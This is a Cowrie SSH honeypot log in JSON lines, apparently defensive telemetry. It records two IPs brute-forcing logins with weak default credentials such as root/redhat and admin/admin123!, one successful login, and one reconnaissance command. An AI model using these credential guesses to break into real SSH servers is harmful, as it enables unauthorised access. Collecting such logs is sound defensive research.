{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:12.523637Z","src_ip":"91.92.42.227","session":"65caae20eb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:12.527084Z","src_ip":"91.92.42.227","session":"65caae20eb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49944,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfd58f325329","protocol":"ssh","message":"New connection: 45.156.87.147:49944 (10.17.0.5:22) [session: dfd58f325329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.229443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.233959Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.317715Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.570184Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.786241Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.789373Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.878478Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:13.883614Z","src_ip":"45.156.87.147","session":"dfd58f325329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:17.003651Z","src_ip":"91.92.42.227","session":"65caae20eb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45210,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97f14cee0cd","protocol":"ssh","message":"New connection: 91.92.42.227:45210 (10.17.0.5:22) [session: b97f14cee0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:18.220586Z"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:18.993580Z","src_ip":"91.92.42.227","session":"65caae20eb35","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.084531Z","src_ip":"91.92.42.227","session":"b97f14cee0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.087735Z","src_ip":"91.92.42.227","session":"b97f14cee0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37098,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a552256e1e6","protocol":"ssh","message":"New connection: 45.156.87.147:37098 (10.17.0.5:22) [session: 9a552256e1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.232982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.237406Z","src_ip":"45.156.87.147","session":"9a552256e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.362737Z","src_ip":"45.156.87.147","session":"9a552256e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:19.628611Z","src_ip":"45.156.87.147","session":"9a552256e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:20.714734Z","src_ip":"45.156.87.147","session":"9a552256e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:24.022812Z","src_ip":"91.92.42.227","session":"b97f14cee0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45322,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fbdc23e9e2","protocol":"ssh","message":"New connection: 91.92.42.227:45322 (10.17.0.5:22) [session: 99fbdc23e9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:24.312311Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37102,"dst_ip":"10.17.0.5","dst_port":22,"session":"835a033362c6","protocol":"ssh","message":"New connection: 45.156.87.147:37102 (10.17.0.5:22) [session: 835a033362c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.216044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.219960Z","src_ip":"45.156.87.147","session":"835a033362c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.304769Z","src_ip":"45.156.87.147","session":"835a033362c6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.369954Z","src_ip":"91.92.42.227","session":"99fbdc23e9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.373108Z","src_ip":"91.92.42.227","session":"99fbdc23e9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:25.555819Z","src_ip":"45.156.87.147","session":"835a033362c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:26.259373Z","src_ip":"91.92.42.227","session":"b97f14cee0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:26.640527Z","src_ip":"45.156.87.147","session":"835a033362c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:30.345104Z","src_ip":"91.92.42.227","session":"99fbdc23e9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44992,"dst_ip":"10.17.0.5","dst_port":22,"session":"7996c3ccccca","protocol":"ssh","message":"New connection: 45.156.87.147:44992 (10.17.0.5:22) [session: 7996c3ccccca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:31.203428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:31.207507Z","src_ip":"45.156.87.147","session":"7996c3ccccca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:31.288704Z","src_ip":"45.156.87.147","session":"7996c3ccccca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:31.609155Z","src_ip":"45.156.87.147","session":"7996c3ccccca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57988,"dst_ip":"10.17.0.5","dst_port":22,"session":"54943024d5e0","protocol":"ssh","message":"New connection: 91.92.42.227:57988 (10.17.0.5:22) [session: 54943024d5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:31.658707Z"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:32.242586Z","src_ip":"91.92.42.227","session":"99fbdc23e9e2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:32.469823Z","src_ip":"91.92.42.227","session":"54943024d5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:32.479048Z","src_ip":"91.92.42.227","session":"54943024d5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:32.693345Z","src_ip":"45.156.87.147","session":"7996c3ccccca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:36.878735Z","src_ip":"91.92.42.227","session":"54943024d5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45000,"dst_ip":"10.17.0.5","dst_port":22,"session":"18caa13f54ad","protocol":"ssh","message":"New connection: 45.156.87.147:45000 (10.17.0.5:22) [session: 18caa13f54ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:37.404925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:15:37.433699Z","src_ip":"45.156.87.147","session":"18caa13f54ad","protocol":"ssh"}
